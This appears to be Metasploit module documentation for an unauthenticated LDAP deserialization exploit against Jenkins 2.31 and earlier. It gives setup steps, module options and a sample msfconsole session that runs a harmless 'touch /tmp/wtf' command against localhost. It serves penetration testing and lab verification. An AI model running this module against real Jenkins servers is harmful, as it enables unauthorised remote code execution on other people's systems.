## Vulnerable Application Jenkins 2.31 or below is vulnerable and can be downloaded from [updates.jenkins-ci.org](https://updates.jenkins-ci.org/download/war/2.31/jenkins.war) This vulnerability does not require authentication and only HTTP access to the vulnerable application is required. ## Verification Steps 1. Download [jenkins 2.31](https://updates.jenkins-ci.org/download/war/2.31/jenkins.war) 2. Install jenkins ```java -jar jenkins.war``` 3. Start ```msfconsole``` 4. Do: ```use exploit/linux/misc/jenkins_ldap_deserialize``` 5. Do: ```set RHOST [target host]``` 6. Do: ```set PAYLOAD cmd/unix/generic``` 7. Do: ```set CMD 'touch /tmp/wtf'``` 8. Do: ```run``` 7. It should create /tmp/wtf on the target host. ## Required Options **RHOST** The address of the jenkins server. ## Options **RPORT** The http port for the jenkins server. (Defaults to 8080) **TARGETURI** The path to the target instance of Jenkins. (Defaults to /) **SRVHOST** The local address to listen for the LDAP request on. (Defaults to 127.0.0.1) **SRVPORT** The local port to listen for the LDAP request on. (Defaults to 1389) **LDAPHOST** The ldap host the exploit will connect to. Can be different from ```SRVHOST``` if in a environment where there is port forwarding. (Defaults to 127.0.0.1) ## Scenarios Example usage against a unix target running Jenkins 2.31. ``` msf > use exploit/linux/misc/jenkins_ldap_deserialize msf exploit(jenkins_ldap_deserialize) > set TARGETURI / TARGETURI => / msf exploit(jenkins_ldap_deserialize) > set RHOST 127.0.0.1 RHOST => 127.0.0.1 msf exploit(jenkins_ldap_deserialize) > set RPORT 8080 RPORT => 8080 msf exploit(jenkins_ldap_deserialize) > set PAYLOAD cmd/unix/generic PAYLOAD => cmd/unix/generic msf exploit(jenkins_ldap_deserialize) > set CMD 'touch /tmp/wtf' CMD => touch /tmp/wtf msf exploit(jenkins_ldap_deserialize) > run [*] Exploit completed, but no session was created. ```